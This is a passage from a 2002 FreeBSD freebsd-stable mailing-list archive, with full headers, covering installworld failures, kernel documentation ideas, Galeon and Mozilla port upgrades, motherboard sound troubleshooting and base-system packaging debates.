message > > . > > -- Kent Stewart Richland, WA http://users.owt.com/kstewart/index.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 14:27:31 2002 Delivered-To: freebsd-stable@freebsd.org Received: from rutger.owt.com (rutger.owt.com [204.118.6.16]) by hub.freebsd.org (Postfix) with ESMTP id 51F2537B41E for ; Tue, 23 Apr 2002 14:27:27 -0700 (PDT) Received: from owt.com (owt-207-41-94-232.owt.com [207.41.94.232]) by rutger.owt.com (8.9.3/8.9.3) with ESMTP id OAA05485; Tue, 23 Apr 2002 14:26:26 -0700 Message-ID: <3CC5D181.6040508@owt.com> Date: Tue, 23 Apr 2002 14:26:25 -0700 From: Kent Stewart User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1 X-Accept-Language: en-us, es-mx MIME-Version: 1.0 To: Tony Holmes Cc: freebsd-stable@FreeBSD.ORG, Elliott Perrin Subject: Re: Break in installworld, cvsup'ed today References: <20020423132108.V520-100000@decalpha.beanfield.net> <20020423145533.A48572@crosswinds.net> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Tony Holmes wrote: > On +Apr 23, Elliott Perrin wrote: > >>Please cc me on any replies, I am not on freebsd-stable list >> >>I just cvsup'ed my home machine from 4.3-STABLE to 4.5-STABLE today, and >>the installworld is failing at >> > > I'm having similar/related issues on the installworld. Going from 4.5-RELEASE > to 4.5-STABLE, cvsup'd at approx 2pm from cvsup5.freebsd.org > > PATH=$PATH:/usr/games:/usr/obj/usr/src/games/fortune/datfiles/../strfile strfile -Crs > /usr/src/games/fortune/datfiles/murphy murphy.dat > install -c -o root -g wheel -m 444 murphy.dat /usr/share/games/fortune/murphy.dat > install -c -o root -g wheel -m 444 startrek.dat > /usr/share/games/fortune/startrek.dat > install -c -o root -g wheel -m 444 zippy.dat /usr/share/games/fortune/zippy.dat > tr a-zA-Z n-za-mN-ZA-M < /usr/src/games/fortune/datfiles/fortunes-o.real > fortunes-o > tr: not found > *** Error code 127 > The only time I have seen a failure like this something went wrong in the buildworld because something wasn't created. I don't think tr is supposed to be needed in an installworld. Did your cvsup include games? Kent -- Kent Stewart Richland, WA http://users.owt.com/kstewart/index.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 14:53:44 2002 Delivered-To: freebsd-stable@freebsd.org Received: from alicia.nttmcl.com (alicia.nttmcl.com [216.69.69.10]) by hub.freebsd.org (Postfix) with ESMTP id 3320637B405 for ; Tue, 23 Apr 2002 14:53:41 -0700 (PDT) Received: (from jj@localhost) by alicia.nttmcl.com (8.10.1/8.10.1) id g3NLrf807380 for freebsd-stable@FreeBSD.ORG; Tue, 23 Apr 2002 14:53:41 -0700 (PDT) Date: Tue, 23 Apr 2002 14:53:41 -0700 From: JJ Behrens To: freebsd-stable@FreeBSD.ORG Subject: Annotated kernel listing (was not easily scalable to large servers ... ?) Message-ID: <20020423145318.A5186@alicia.nttmcl.com> Mail-Followup-To: JJ Behrens , freebsd-stable@FreeBSD.ORG References: <200204232020.g3NKKJb38154@hokkshideh2.jetcafe.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <200204232020.g3NKKJb38154@hokkshideh2.jetcafe.org>; from dave@jetcafe.org on Tue, Apr 23, 2002 at 01:20:14PM -0700 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Many websites have "annotation" as a form of ad-hoc documentation > (e.g. php.net). Why not have someone take a crack at documenting the > FreeBSD kernel, and perhaps use some annotation feature to create a > "living" document which (hopefully) comes close to describing the > kernel architechture? > > If you want to track a moving target, perhaps you need to use a moving > track? I've heard that this has already been done for FreeBSD in Japanese. There is also a book that does this for Linux (which isn't very helpful for FreeBSD users in this context, unfortunately). -jj -- Users of C++ should consider hanging themselves rather than shooting their legs off--it's best not to use C++ simply as a better C. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 15: 5:31 2002 Delivered-To: freebsd-stable@freebsd.org Received: from gyros.marcuscom.com (dhcp-64-102-60-52.cisco.com [64.102.60.52]) by hub.freebsd.org (Postfix) with ESMTP id CB07E37B41B for ; Tue, 23 Apr 2002 15:05:22 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by gyros.marcuscom.com (8.12.3/8.12.3) with ESMTP id g3NM59R3007731; Tue, 23 Apr 2002 18:05:10 -0400 (EDT) (envelope-from marcus@marcuscom.com) Subject: Re: re Galeon From: Joe Marcus Clarke To: Gary Kline Cc: freebsd-stable@FreeBSD.ORG In-Reply-To: <200204232050.g3NKojV50939@tao.thought.org> References: <200204232050.g3NKojV50939@tao.thought.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 Date: 23 Apr 2002 19:05:09 -0300 Message-Id: <1019599510.320.106.camel@gyros.marcuscom.com> Mime-Version: 1.0 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 2002-04-23 at 17:50, Gary Kline wrote: > > Guys, > > I recently upgraded by binary to get the latest galeon. > I expected it to work out of the box, but it couldn't find > libintl.so.1. I symlink'd linintl.so.2 -> libintl.so.1 and the > browser worked. (??) > > Usually (99.9%) I build from scratch, but this one kept failing. > And I've got the newest mozilla. I _have_ had some troubles > in upgrading some of the ports... but if I do things just-right > the newer version usually installs. > > Can anybody clue me in re galeon? It seems like a nice front end. Galeon 1.2.1 with Mozilla-1.0.rc1 works fine for me. What errors do you get when you try to compile it? Joe > > tia, > > gary > > PS: I'm sticking with 4.4S until 4.6 is stable. > -- > Gary Kline kline@thought.org www.thought.org Public service Unix > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > -- PGP Key: http://www.marcuscom.com/pgp.asc To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 15:37:20 2002 Delivered-To: freebsd-stable@freebsd.org Received: from topperwein.dyndns.org (acs-24-154-28-203.zoominternet.net [24.154.28.203]) by hub.freebsd.org (Postfix) with ESMTP id 5779937B416; Tue, 23 Apr 2002 15:37:05 -0700 (PDT) Received: from topperwein (topperwein [192.168.168.10]) by topperwein.dyndns.org (8.11.6/8.11.6) with ESMTP id g3NMb4372618; Tue, 23 Apr 2002 18:37:04 -0400 (EDT) (envelope-from behanna@zbzoom.net) Date: Tue, 23 Apr 2002 18:36:59 -0400 (EDT) From: Chris BeHanna Reply-To: Chris BeHanna To: FreeBSD-Stable Cc: freebsd-current@freebsd.org Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? In-Reply-To: <200204232020.g3NKKJb38154@hokkshideh2.jetcafe.org> Message-ID: <20020423182536.N72471-100000@topperwein.dyndns.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 23 Apr 2002, Dave Hayes wrote: > Terry Lambert (who fits my arbitrary definition of a "good" cynic) > writes: > > It's a hazard of Open Source projects, in general, that there are > > so many people hacking on whatever they think is cool that nothing > > ever really gets built to a long term design plan that's stable > > enough that a book stands a chance of having a 1 year lifetime. > > I could not help but notice your multiple attempts at expresing this > particular concept often, that is...an implied necessity of a book > that explains what's going on under the kernel hood. I agree that such > a book would rapidly be out of date, but I also see the necessity > thereof. > > So, it's time to question the assumption that the information you want > available should be in "a book". > > Many websites have "annotation" as a form of ad-hoc documentation > (e.g. php.net). Why not have someone take a crack at documenting the > FreeBSD kernel, and perhaps use some annotation feature to create a > "living" document which (hopefully) comes close to describing the > kernel architechture? > > If you want to track a moving target, perhaps you need to use a moving > track? doxygen is *wonderful* for this for large C++ projects: it's able to draw you inheritance graphs and collaboration diagrams, as well as generate pretty, nicely formatted HTML containing API descriptions generated from javadoc-like comments in header files. I've never tried it on straight C. I suppose it is possible, but given the lack of inheritance, collaboration diagrams are going to be very messy. Still and all, it might be a very useful thing. If not doxygen, then perhaps some way to run the headers through jade/sgmlformat, with docbook-style SGML embedded in comments in header files describing kernel API calls and their parameters, with all typedef'd datatypes appropriately cross-linked. As a hack, one could even embed POD within comments and run perldoc on everything. This could be done nightly or twice daily, with updates appearing live at freebsd.org. HTML versions of man pages with crosslinks go part of the way; what I'm thinking about (if any of you have used doxygen you'll know where I'm going) is a bit more comprehensive, with links to the actual header file from which the documentation was generated, so that the reader can see the declaration in its native context (with the doxygen or docbook comments stripped out for clarity). This still wouldn't address the need for some kind of overall architectural document, as well as the difficulty of keeping it up-to-date, but it would be of tremendous help to everyone working on the project. *If* developers can get used to updating the in-comment documentation whenever they make changes, then this reference would automatically be kept up-to-date. -- Chris BeHanna Software Engineer (Remove "bogus" before responding.) behanna@bogus.zbzoom.net I was raised by a pack of wild corn dogs. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 15:41:15 2002 Delivered-To: freebsd-stable@freebsd.org Received: from jupiter.linuxengine.net (jupiter.linuxengine.net [209.61.188.254]) by hub.freebsd.org (Postfix) with ESMTP id 3015C37B41A; Tue, 23 Apr 2002 15:41:03 -0700 (PDT) Received: from jupiterweb.commercevault.com (jupiterweb.commercevault.com [209.61.179.16] (may be forged)) by jupiter.linuxengine.net (8.11.6/8.11.0) with ESMTP id g3NMewb13613; Tue, 23 Apr 2002 17:40:58 -0500 Date: Tue, 23 Apr 2002 17:40:58 -0500 (CDT) From: John Utz X-X-Sender: john@jupiter.linuxengine.net To: "Marc G. Fournier" Cc: freebsd-stable@FreeBSD.ORG, Subject: Re: ASUS A7M266-D: enabling 'on board sound' In-Reply-To: <20020423150218.O1721-100000@mail1.hub.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG huh, bet this might be an smp problem.... works like a champ on my ASUS board. On Tue, 23 Apr 2002, Marc G. Fournier wrote: > > Morning all ... > > Just recently picked up an ASUS A7M266-D Motherboard with Dual: > "(AMD Athlon(TM) MP Processor (1200.05-MHz 686-class CPU)" ... the system > purrs like the proverbial kitten ... but the one thing that is eluding me > so far is getting the onboard sound to work ... > > I think I've gone through just about everything ... I enabled > PNPBIOS in my kernel, made sure the sound device was enabled in the BIOS > ... nadda ... > > The error I'm seeing in dmesg is: > > pcm0: at device 4.0 on pci2 > pcm0: cmi_attach: Cannot allocate bus resource > device_probe_and_attach: pcm0 attach returned 6 this could be one of two things: 1. your version of the CMI8738 might have a new pnp number, but i sorta doubt it because then you wouldnt get the 'CMedia CMI8738' string. 2. All Your Interrupts Are Belong To Somebody Else! the extra bits of tomfoolery involved in getting a second cpu to live in an architecture than never imagined more than one (daisy chained 8259a's, still?) may have consumed the available interrupts. 3. Other, more reasonable, but more subtle problems that i cant imagine :-) I'd suggest the ol' boot -v and see what you get for a dmesg..... > I've tried manually setting in the kernel: > > > strings /kernel | grep pcm0 > pcm0_resources > ___device pcm0 at isa? irq 5 drq 1 flags 0x0 > > but that hasn't made any difference ... > > Anyone have any experience with this board, or this chipset, that > might be able to suggest a course of action here? > > thanks ... > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-multimedia" in the body of the message > -- John L. Utz III john@utzweb.net Idiocy is the Impulse Function in the Convolution of Life To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 16: 0: 2 2002 Delivered-To: freebsd-stable@freebsd.org Received: from tao.thought.org (sense-kline-249.oz.net [216.39.168.249]) by hub.freebsd.org (Postfix) with ESMTP id DB5BB37B404 for ; Tue, 23 Apr 2002 15:59:57 -0700 (PDT) Received: (from kline@localhost) by tao.thought.org (8.11.3/8.11.3) id g3NMxjw51247; Tue, 23 Apr 2002 15:59:45 -0700 (PDT) (envelope-from kline) Date: Tue, 23 Apr 2002 15:59:44 -0700 From: Gary Kline To: Joe Marcus Clarke Cc: Gary Kline , freebsd-stable@FreeBSD.ORG Subject: Re: re Galeon Message-ID: <20020423155944.A51135@tao.thought.org> References: <200204232050.g3NKojV50939@tao.thought.org> <1019599510.320.106.camel@gyros.marcuscom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <1019599510.320.106.camel@gyros.marcuscom.com>; from marcus@marcuscom.com on Tue, Apr 23, 2002 at 07:05:09PM -0300 X-Organization: Thought Unlimited. Public service Unix since 1986. X-Of_Interest: Observing 15 years of service to the Unix community Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Apr 23, 2002 at 07:05:09PM -0300, Joe Marcus Clarke wrote: > On Tue, 2002-04-23 at 17:50, Gary Kline wrote: > > > > Guys, > > > > I recently upgraded by binary to get the latest galeon. > > I expected it to work out of the box, but it couldn't find > > libintl.so.1. I symlink'd linintl.so.2 -> libintl.so.1 and the > > browser worked. (??) > > > > Usually (99.9%) I build from scratch, but this one kept failing. > > And I've got the newest mozilla. I _have_ had some troubles > > in upgrading some of the ports... but if I do things just-right > > the newer version usually installs. > > > > Can anybody clue me in re galeon? It seems like a nice front end. > > Galeon 1.2.1 with Mozilla-1.0.rc1 works fine for me. What errors do you > get when you try to compile it? > That's strange: galeon-1.2.1?? I cvsup ports daily but it was grabbing 1.2.0_6. I saw where mozilla just went from 0.9.9 to 1.0.rc1. I'll upgrade mozilla and try galeon again. ---Okay, the new ports came across just last night.--- The errs I was getting were missing headers.... (That may have simply been a symtom, tho.) gary > -- Gary Kline kline@thought.org www.thought.org Public service Unix To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 16:24:12 2002 Delivered-To: freebsd-stable@freebsd.org Received: from out-mx1.crosswinds.net (out-mx1.crosswinds.net [216.18.117.38]) by hub.freebsd.org (Postfix) with ESMTP id 7693B37B41C for ; Tue, 23 Apr 2002 16:24:06 -0700 (PDT) Received: from admin.crosswinds.net (out-mx1.crosswinds.net [216.18.117.38]) by out-mx1.crosswinds.net (Postfix) with ESMTP id 2BCE82C512; Tue, 23 Apr 2002 19:24:05 -0400 (EDT) Received: by admin.crosswinds.net (Postfix, from userid 1001) id D80B83F0A; Tue, 23 Apr 2002 19:24:04 -0400 (EDT) Date: Tue, 23 Apr 2002 19:24:04 -0400 From: Tony Holmes To: Kent Stewart Cc: freebsd-stable@FreeBSD.ORG, Elliott Perrin Subject: Re: Break in installworld, cvsup'ed today Message-ID: <20020423192404.A55334@crosswinds.net> References: <20020423132108.V520-100000@decalpha.beanfield.net> <20020423145533.A48572@crosswinds.net> <3CC5D181.6040508@owt.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3CC5D181.6040508@owt.com>; from kstewart@owt.com on Tue, Apr 23, 2002 at 02:26:25PM -0700 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On +Apr 23, Kent Stewart wrote: > > > The only time I have seen a failure like this something went wrong in > the buildworld because something wasn't created. I don't think tr is > supposed to be needed in an installworld. Did your cvsup include games? Yes, actually as per another response, I specified the full path to tr in the Makefile (gross hack) and other problems occurred. It seems the PATH was getting whacked in several places - things like tr, expr, ex and mkdir (/bin and /usr/bin) are not being found. After a while, I just gave up on specifying full paths. This system is a fresh 4.5R install, with cvsup to 4.5S. I'm just outta ideas (and lack of sleep doesn't help much) -- Tony Holmes Founder and Senior Systems Architect Crosswinds Internet Communications Inc. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 16:30:13 2002 Delivered-To: freebsd-stable@freebsd.org Received: from laptop.tenebras.com (laptop.tenebras.com [66.92.188.18]) by hub.freebsd.org (Postfix) with SMTP id 9CBF337B417 for ; Tue, 23 Apr 2002 16:30:06 -0700 (PDT) Received: (qmail 5496 invoked from network); 23 Apr 2002 23:30:04 -0000 Received: from sapphire.tenebras.com (HELO tenebras.com) (66.92.188.241) by 0 with SMTP; 23 Apr 2002 23:30:04 -0000 Message-ID: <3CC5EE7C.2030407@tenebras.com> Date: Tue, 23 Apr 2002 16:30:04 -0700 From: Michael Sierchio Reply-To: kudzu@tenebras.com User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.9) Gecko/20020404 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Mike Meyer Cc: Lucky Green , freebsd-stable@freebsd.org Subject: Re: /etc/defaults/rc.conf theory References: <002d01c1ea7d$cf1cb060$c33a080a@LUCKYVAIO> <3CC4E3D4.6010603@tenebras.com> <15557.46037.660880.582373@guru.mired.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Mike Meyer wrote: > I don't find it difficult at all. Then again, I make liberal use of > the NO_* options in /etc/make.conf. I suggest you do the same. I've taken to doing so, but I think it's better to have packages and say YES to the things I explicitly want. > We clearly aren't including "everything". There's lots of stuff that > isn't included. In fact, the *only* two reasons I've ever run into for > adding something to the base system was that 1) it's required to build > part of the base system, or 2) it's become a critical component of a > complete system. I think the argument can be made that even critical components could be packaged. It means that a minimally functional system will have some packages, maybe a dozen or so. That's not bad. A standard Solaris 8 server install has more than a *thousand*. > Some mailer and some ssh need to be part of the base system. If they > aren't up to snuff for you and you aren't happy disabling things in > the base system and installing ports, then you need to find someone to > maintain a version you want as part of the base system, and then > convince everyone else that this is better. Tracking OpenSSL/OpenSSH > closer is probably an easy sell. The same is not true for sendmail. A mailer isn't needed for a dedicated router, or several other types of appliance. Neither is ssh, if you connect exclusively via the serial console. Of course I have ssh installed (I already confessed). I just wish configuration were easier. Why shouldn't everything be a package? Well, not the kernel, loader, etc. but nearly everything in userland. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 16:31:35 2002 Delivered-To: freebsd-stable@freebsd.org Received: from avocet.prod.itd.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by hub.freebsd.org (Postfix) with ESMTP id 17AAB37B420; Tue, 23 Apr 2002 16:31:31 -0700 (PDT) Received: from pool0099.cvx40-bradley.dialup.earthlink.net ([216.244.42.99] helo=mindspring.com) by avocet.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 1709kH-0002Fl-00; Tue, 23 Apr 2002 16:31:07 -0700 Message-ID: <3CC5EE80.1442792A@mindspring.com> Date: Tue, 23 Apr 2002 16:30:08 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: kalts@estpak.ee Cc: "Marc G. Fournier" , freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? References: <3CC4C683.F9AEF14E@mindspring.com> <20020423092909.N1721-100000@mail1.hub.org> <20020423184534.GA30212@myhakas.estpak.ee> <3CC5B52B.49A5A719@mindspring.com> <20020423200449.GA30662@myhakas.estpak.ee> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Vallo Kallaste wrote: > Hmm, ok, but can we have more than one 1G user process at one time? Yes. I said this before: you can have a nearly arbitrary number of UVA's -- you get one per process, in fact, whether you want it or not. Usually, they don't use up the full available address space, only a fraction of it. > Four 500MB ones and so on? > Somehow I've made such conclusion based on previous information. > Should be so, otherwise I don't understand how swapping will fit > into overall picture. Yes, that's how it works (plus some kernel structures are swappable). -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 16:36:50 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mtiwmhc22.worldnet.att.net (mtiwmhc22.worldnet.att.net [204.127.131.47]) by hub.freebsd.org (Postfix) with ESMTP id 49BCF37B41B for ; Tue, 23 Apr 2002 16:36:42 -0700 (PDT) Received: from slip-32-102-122-136.ut.us.prserv.net ([32.102.122.136]) by mtiwmhc22.worldnet.att.net (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020423233641.YIGZ28991.mtiwmhc22.worldnet.att.net@slip-32-102-122-136.ut.us.prserv.net> for ; Tue, 23 Apr 2002 23:36:41 +0000 Date: Tue, 23 Apr 2002 17:36:37 -0600 (MDT) From: Eric Christian Carlsen X-X-Sender: ecc@dinosaur.byu.edu Reply-To: Eric Christian Carlsen To: freebsd-stable@FreeBSD.ORG Subject: freeze on install Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I recently tried to install freebsd 4.5 and it hung on the probing devices step. I've installed freebsd 4.4 on this machine before with a few minor differences. Since I installed 4.4 I've changed my video card and added an internal hardware based pci modem. Here are the specs: Abit KT7E Motherboard Duron 850 MHz processor US Robotics 2977 Internal PCI Hardware modem (works in linux) ATI XPert 2000 Pro Video Card Sound Blaster 16 ISA sound card Logitech optical wheel mouse w/ USB to PS/2 converter --- Eric Carlsen ec@byu.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 16:40:26 2002 Delivered-To: freebsd-stable@freebsd.org Received: from avocet.prod.itd.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by hub.freebsd.org (Postfix) with ESMTP id 46FBB37B404; Tue, 23 Apr 2002 16:40:19 -0700 (PDT) Received: from pool0099.cvx40-bradley.dialup.earthlink.net ([216.244.42.99] helo=mindspring.com) by avocet.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 1709tN-0006C7-00; Tue, 23 Apr 2002 16:40:13 -0700 Message-ID: <3CC5F0C1.DF1CCF83@mindspring.com> Date: Tue, 23 Apr 2002 16:39:45 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Hayes Cc: freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? References: <200204232020.g3NKKJb38154@hokkshideh2.jetcafe.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Dave Hayes wrote: > So, it's time to question the assumption that the information you want > available should be in "a book". > > Many websites have "annotation" as a form of ad-hoc documentation > (e.g. php.net). Why not have someone take a crack at documenting the > FreeBSD kernel, and perhaps use some annotation feature to create a > "living" document which (hopefully) comes close to describing the > kernel architechture? > > If you want to track a moving target, perhaps you need to use a moving > track? How does the person or persons involved in documenting the internals to sufficient detail to be useful to third parties get paid for the effort? We are talking the work equivalent of a full time job. If they aren't paid, what's the incentive to create documentation above and beyond the status quo? If that incentive exists, what's the URL for the documentation that was created as a result? I think I can count on my fingers the number of people who know the various aspects of the boot process well enough to document it for people who want to hack on it to, for example, declaratively allocate physical memory as part of the boot process. A lot of the information in this thread was never collected centrally anywhere before (e.g. the missing piece about the files to modify and the calculation of the NKPDE value that was left out of David Greenman's posting of a year ago). Most of this information will be quickly out of date, since as soon as you document something, people understand it enough to realize the shortcomings, and so nearly the first thing that happens is the shortcomings are corrected, and voila, your documentation is now out of date. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 16:51:53 2002 Delivered-To: freebsd-stable@freebsd.org Received: from empty1.ekahuna.com (empty1.ekahuna.com [198.144.200.196]) by hub.freebsd.org (Postfix) with ESMTP id 50A6B37B404 for ; Tue, 23 Apr 2002 16:51:48 -0700 (PDT) Received: from pc-02 (pc02.ekahuna.com [198.144.200.197]) by empty1.ekahuna.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com; Tue, 23 Apr 2002 16:51:47 -0700 From: "Philip J. Koenig" Organization: The Electric Kahuna Organization To: stable@FreeBSD.ORG Date: Tue, 23 Apr 2002 16:51:46 -0700 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: /etc/defaults/rc.conf theory Reply-To: pjklist@ekahuna.com Cc: In-reply-to: X-mailer: Pegasus Mail for Win32 (v3.12c) Message-ID: <20020423235147062.AAA735@empty1.ekahuna.com@pc02.ekahuna.com> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Mike Meyer wrote: > > The rationale for inclusion in the base system as opposed to ports > > has usually been licensing issues. > > By some odd quirk, I've never heard any such rationale. The two examples I can think of off the top of my head are bash and apache. -- Philip J. Koenig pjklist@ekahuna.com Electric Kahuna Systems -- Computers & Communications for the New Millenium To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 16:54:24 2002 Delivered-To: freebsd-stable@freebsd.org Received: from hilfy.ece.cmu.edu (HILFY.ECE.CMU.EDU [128.2.136.133]) by hub.freebsd.org (Postfix) with ESMTP id 8401537B41A for ; Tue, 23 Apr 2002 16:54:14 -0700 (PDT) Received: from rushlight.kf8nh.apk.net (root@VPN100.ECE.CMU.EDU [128.2.138.100]) by hilfy.ece.cmu.edu (8.11.0/8.8.8) with ESMTP id g3NNs2v17455; Tue, 23 Apr 2002 19:54:02 -0400 (EDT) Received: (from allbery@localhost) by rushlight.kf8nh.apk.net (8.11.6/8.11.6) id g3NNrss69108; Tue, 23 Apr 2002 19:53:54 -0400 (EDT) (envelope-from allbery@ece.cmu.edu) X-Authentication-Warning: rushlight.kf8nh.apk.net: allbery set sender to allbery@ece.cmu.edu using -f Subject: Re: re Galeon From: "Brandon S. Allbery " KF8NH To: Gary Kline Cc: Joe Marcus Clarke , freebsd-stable@FreeBSD.ORG In-Reply-To: <20020423155944.A51135@tao.thought.org> References: <200204232050.g3NKojV50939@tao.thought.org> <1019599510.320.106.camel@gyros.marcuscom.com> <20020423155944.A51135@tao.thought.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Evolution/1.0.2 Date: 23 Apr 2002 20:53:53 -0300 Message-Id: <1019606034.68291.2.camel@rushlight.kf8nh.apk.net> Mime-Version: 1.0 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 2002-04-23 at 19:59, Gary Kline wrote: > > Galeon 1.2.1 with Mozilla-1.0.rc1 works fine for me. What errors do you > > get when you try to compile it? > > The errs I was getting were missing headers.... (That may > have simply been a symtom, tho.) I found that to upgrade galeon I had to: (1) remove freetype, so mozilla would find freetype2; (2) upgrade mozilla; (3) upgrade mozilla-embedded, which remained at the old version --- this despite building -DWITH_FULL_MOZILLA to get SSL, etc.; (4) upgrade galeon. -- brandon s allbery [openafs/solaris/japh/freebsd] allbery@kf8nh.apk.net system administrator [linux/heimdal/too many hats] allbery@ece.cmu.edu electrical and computer engineering KF8NH carnegie mellon university [better check the oblivious first -ke6sls] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Apr 23 17: 0:36 2002 Delivered-To: freebsd-stable@freebsd.org Received: from mired.org (dsl-64-192-6-133.telocity.com [64.192.6.133]) by hub.freebsd.org (Postfix) with SMTP id ECCD837B430 for ; Tue, 23 Apr 2002 17:00:12 -0700 (PDT) Received: (qmail 45841 invoked by uid 100); 24 Apr 2002 00:00:10 